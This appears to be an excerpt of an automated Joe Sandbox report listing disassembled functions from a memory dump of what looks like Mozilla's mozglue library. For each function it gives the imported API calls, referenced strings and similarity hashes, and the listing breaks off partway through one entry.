free.MOZGLUE(00000000), ref: 6C95D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C95D5D3
GetCurrentThreadId.KERNEL32 ref: 6C95D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C95D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C95D652
GetCurrentThreadId.KERNEL32 ref: 6C95D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C95D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C95D6A2

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3f2c27ca526717a68e7d3a89c9d9896ff34948783805fa213ebb8d7d09a66289
Instruction ID: dc0437683f2a4ec016878b6fe59b78fc08423ce1699b2e6adbdd563c53dae2de
Opcode Fuzzy Hash: 3f2c27ca526717a68e7d3a89c9d9896ff34948783805fa213ebb8d7d09a66289
Instruction Fuzzy Hash: 3F518E71609705EFC700CF34C884A9ABBB4FF8A318F548A2DE95A87711DB30E955CB91

Function 6C925670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9256D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9256E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9256F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C925744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9257BC
GetTickCount64.KERNEL32 ref: 6C9258CB
EnterCriticalSection.KERNEL32(6C98F688), ref: 6C9258F3
__aulldiv.LIBCMT ref: 6C925945
LeaveCriticalSection.KERNEL32(6C98F688), ref: 6C9259B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C98F638,?,?,?,?), ref: 6C9259E9

Strings

MOZ_APP_RESTART, xrefs: 6C9256CC

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: f8ae1a769e4f25c453c231b79ffec408002ab265536400a1df33c28257782b26
Instruction ID: d0a571d4dd1c07db938d106befc9cae68a7331e6869fd27c98dd9fd836eb3d46
Opcode Fuzzy Hash: f8ae1a769e4f25c453c231b79ffec408002ab265536400a1df33c28257782b26
Instruction Fuzzy Hash: 19C18B35A1E7449FC705CF28C44066AB7F1BF9A318F259B1DE8C4A7628D734E885CB82

Function 6C94EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
Part of subcall function 6C949420: __Init_thread_footer.LIBCMT ref: 6C94949F

GetCurrentThreadId.KERNEL32 ref: 6C94EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94EC8C

Part of subcall function 6C9494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9494EE
Part of subcall function 6C9494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C949508

GetCurrentThreadId.KERNEL32 ref: 6C94ECA1
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C94ECC5
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C94ED19
CloseHandle.KERNEL32(?), ref: 6C94ED28
free.MOZGLUE(00000000), ref: 6C94ED2F
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C94EC94

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 37f0360fa3f969d738c6846e2a4d127fd59c84f06d4807fdf1fcb71ee8f27fc1
Instruction ID: 223c7ac42cf39c2ecebafc1e06eddc8fe324bfa3ee0c09f4a25a28ebebc88b6d
Opcode Fuzzy Hash: 37f0360fa3f969d738c6846e2a4d127fd59c84f06d4807fdf1fcb71ee8f27fc1
Instruction Fuzzy Hash: 2021F175605108AFDB00AF64DC08AAAB779FB9726DF248A11FC1887B42DB35D8058BE1

Function 6C948ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C90EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C90EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C94B392,?,?,00000001), ref: 6C9491F4

Part of subcall function 6C93CBE8: GetCurrentProcess.KERNEL32(?,6C9031A7), ref: 6C93CBF1
Part of subcall function 6C93CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9031A7), ref: 6C93CBFA

Strings

marker-chart, xrefs: 6C94905E
timeline-ipc, xrefs: 6C949096
timeline-memory, xrefs: 6C949088
timeline-overview, xrefs: 6C94907A
stack-chart, xrefs: 6C9490B2
name, xrefs: 6C948F16
timeline-fileio, xrefs: 6C9490A4
data, xrefs: 6C9490E8
marker-table, xrefs: 6C94906C

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 35dda693dd769b8f406d97d95642d037530ec09e38e22607c6666703c91a41b4
Instruction ID: bc055acab218fbe432de1ec29f4baa284bd0c75ccbd5ac11a0ede8f7485daadd
Opcode Fuzzy Hash: 35dda693dd769b8f406d97d95642d037530ec09e38e22607c6666703c91a41b4
Instruction Fuzzy Hash: 3BB1B2B1B022099BDB04CF95C9527EEBBBABF95318F108519D506ABF80D731D945CBE0

Function 6C92C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C92C5A3
WideCharToMultiByte.KERNEL32 ref: 6C92C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C92C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C92CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C92CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C92CAA5

Strings

0, xrefs: 6C92D30A
(null), xrefs: 6C92C596

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: bdb0d7c32c9c9d8546a6bca221b4521e1109342d000f820dc92a03760f3676ef
Instruction ID: 439aa23bbaa21181faac9c3e0e8007d8e9c8b1aefc39077d180931c48071435f
Opcode Fuzzy Hash: bdb0d7c32c9c9d8546a6bca221b4521e1109342d000f820dc92a03760f3676ef
Instruction Fuzzy Hash: 11A1BD312193429FEB00DF28C544B5ABBF5AF89748F18892CE8D9D3746D739E804CB92

Function 6C92C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C92C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C92C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C92C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C92C891

Strings

INF, xrefs: 6C92C794
inf, xrefs: 6C92C78F
NAN, xrefs: 6C92C7AD
nan, xrefs: 6C92C7A8

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b6a8829dcb1a8307a3d461c1d0866baf8c5ad820cb108c300bcfbfe2f237c1d6
Instruction ID: 54cfadb63c0885501828c4a837a124c0974498b7dea1af2686636136f73b47fc
Opcode Fuzzy Hash: b6a8829dcb1a8307a3d461c1d0866baf8c5ad820cb108c300bcfbfe2f237c1d6
Instruction Fuzzy Hash: 435192716197808BEB00DF2CC48169AFBF4BF9A308F008A1DE9D5A7655E774D984CB43

Function 6C904480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C944843,?), ref: 6C9045F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C944843,?), ref: 6C90468A
free.MOZGLUE(?,?,?,?,?,?,6C944843,?), ref: 6C9046C9
free.MOZGLUE(?), ref: 6C9046EF
free.MOZGLUE(?), ref: 6C904712
free.MOZGLUE(?), ref: 6C904735
free.MOZGLUE(?), ref: 6C904758
free.MOZGLUE(?), ref: 6C90477B
free.MOZGLUE(?), ref: 6C90479E

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 30f9603ecb0607c9dba7a139b3746e2a346a22c5752913850877e3924b8a61c0
Instruction ID: cc9111c476d262590d61ab355044ab10d21b44e503ff60ec1c566281649ef99a
Opcode Fuzzy Hash: 30f9603ecb0607c9dba7a139b3746e2a346a22c5752913850877e3924b8a61c0
Instruction Fuzzy Hash: D3B1D172B001118FDB189E3CD89477D77A6BF62328F184A6DE816DBB96E731D8408F91

Function 6C96AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C96AC52
CreateFileMappingW.KERNEL32 ref: 6C96AC7D
GetSystemInfo.KERNEL32 ref: 6C96AC98
MapViewOfFile.KERNEL32 ref: 6C96ACB0
GetSystemInfo.KERNEL32 ref: 6C96ACCD
MapViewOfFile.KERNEL32 ref: 6C96AD05
UnmapViewOfFile.KERNEL32 ref: 6C96AD1C
CloseHandle.KERNEL32 ref: 6C96AD28
UnmapViewOfFile.KERNEL32 ref: 6C96AD37
CloseHandle.KERNEL32 ref: 6C96AD43
CloseHandle.KERNEL32 ref: 6C96AD67

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 946c26b366f200307cdc2653bb2a9fe52b5c317b0502cf27813e75b1f6a476aa
Instruction ID: d97c31b0d5a96266a1f834ee6b58cbba1f66ac2d72ab37f71d72a156a7065272
Opcode Fuzzy Hash: 946c26b366f200307cdc2653bb2a9fe52b5c317b0502cf27813e75b1f6a476aa
Instruction Fuzzy Hash: D03193B19097058FDB00EF7DCA4826EBBF0FF86305F15492DE98587651EB709448CB92

Function 6C919620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C919675
__Init_thread_footer.LIBCMT ref: 6C919697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C919707
__Init_thread_footer.LIBCMT ref: 6C91971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C919773

Part of subcall function 6C93AB89: EnterCriticalSection.KERNEL32(6C98E370,?,?,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284), ref: 6C93AB94
Part of subcall function 6C93AB89: LeaveCriticalSection.KERNEL32(6C98E370,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9197B7
FreeLibrary.KERNEL32 ref: 6C9197D0
FreeLibrary.KERNEL32 ref: 6C9197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C919824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C919670
MapViewOfFileNuma2, xrefs: 6C9197B1
ntdll.dll, xrefs: 6C9196E3
NtMapViewOfSection, xrefs: 6C919701

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: fee749cf6c2161c289e5806181e0aef60a03f4d9b9d566e9381b432629e6e832
Instruction ID: 6ee20fcc379cb2bbace7af5ae49810a1ddfea5c0fd616d787cec5b33ed5a09ef
Opcode Fuzzy Hash: fee749cf6c2161c289e5806181e0aef60a03f4d9b9d566e9381b432629e6e832
Instruction Fuzzy Hash: 2241F57560A2059FEF00CFA4D885A8677B8FF8AB28F215929ED05C7B40D730E844CBA1

Function 6C901E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E784), ref: 6C901EC1
LeaveCriticalSection.KERNEL32(6C98E784), ref: 6C901EE1
EnterCriticalSection.KERNEL32(6C98E744), ref: 6C901F38
LeaveCriticalSection.KERNEL32(6C98E744), ref: 6C901F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C901F83
LeaveCriticalSection.KERNEL32(6C98E784), ref: 6C901FC0
EnterCriticalSection.KERNEL32(6C98E784), ref: 6C901FE2
LeaveCriticalSection.KERNEL32(6C98E784), ref: 6C901FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C902019

Strings

MOZ_CRASH(), xrefs: 6C902000

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 937338160cd23a5b843a5046c67cfe91a1a39186e500c7c70ace5c43d2bf2fe0
Instruction ID: f9f0d0db8653d05ab08ab4352ef8c514c8bd1a8a0a0cd69bb1f6b341f0c8dca3
Opcode Fuzzy Hash: 937338160cd23a5b843a5046c67cfe91a1a39186e500c7c70ace5c43d2bf2fe0
Instruction Fuzzy Hash: 33410475B063198FDF009FB8C894B6A37B5EF5B708F140829EA05A7741DB70D8008BD5

Function 6C950000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
Part of subcall function 6C949420: __Init_thread_footer.LIBCMT ref: 6C94949F

GetCurrentThreadId.KERNEL32 ref: 6C950039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C950041
GetCurrentThreadId.KERNEL32 ref: 6C950075
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C950082
moz_xmalloc.MOZGLUE(00000048), ref: 6C950090
free.MOZGLUE(?), ref: 6C950104
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C95011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C95005B

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 44b2818121367dc02c182ec7d162a86dccba1d2c84902c228c9525e3085c70db
Instruction ID: 066261703236d9f6beeee967253506f86949d6b92fd147558d433fc3a95264e2
Opcode Fuzzy Hash: 44b2818121367dc02c182ec7d162a86dccba1d2c84902c228c9525e3085c70db
Instruction Fuzzy Hash: C741E1B1506614DFCB10DF24C844A9ABBF0FF5A318F50491EE94A83B40D731E814CB91

Function 6C917E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C917EA7
malloc.MOZGLUE(00000001), ref: 6C917EB3

Part of subcall function 6C91CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C91CB49
Part of subcall function 6C91CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C91CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C917EC4
mozalloc_abort.MOZGLUE(?), ref: 6C917F19
malloc.MOZGLUE(?), ref: 6C917F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C917F4D

Strings

d, xrefs: 6C917F89

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: e1e0589f4fd39ad828a4a283382661da68e0b78e4550f00f8379bd4e6df97f08
Instruction ID: 98e6a2aed21d6faf0e67a67a768573fe48b349f8d522f4544e9072ef0504deea
Opcode Fuzzy Hash: e1e0589f4fd39ad828a4a283382661da68e0b78e4550f00f8379bd4e6df97f08
Instruction Fuzzy Hash: 89310971D09699D7DB019B38CC055FEB778EFA6208F145628EC495BB12FB30E688C390

Function 6C913E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C913EEE
RtlFreeHeap.NTDLL ref: 6C913FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C914006
RtlFreeHeap.NTDLL ref: 6C9140A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C913CCC), ref: 6C9140AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C913CCC), ref: 6C9140C2
RtlFreeHeap.NTDLL ref: 6C914134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C913CCC), ref: 6C914143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C913CCC), ref: 6C914157

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: b215a9562438c9314ff0e8cb57d47a89584ad71c76761131f0875282bb39de5d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: C9A192B1A04209CFEB50CF29C881669B7B5FF58318F2541A9D909AFB42D771D946CFA0

Function 6C902030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C923F47,?,?,?,6C923F47,6C921A70,?), ref: 6C90207F
memset.VCRUNTIME140(?,000000E5,6C923F47,?,6C923F47,6C921A70,?), ref: 6C9020DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C923F47,6C921A70,?), ref: 6C90211A
EnterCriticalSection.KERNEL32(6C98E744,?,6C923F47,6C921A70,?), ref: 6C902145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C923F47,6C921A70,?), ref: 6C9021BA
EnterCriticalSection.KERNEL32(6C98E744,?,6C923F47,6C921A70,?), ref: 6C9021E0
LeaveCriticalSection.KERNEL32(6C98E744,?,6C923F47,6C921A70,?), ref: 6C902232

Strings

MOZ_CRASH(), xrefs: 6C90227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C902253, 6C902268

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
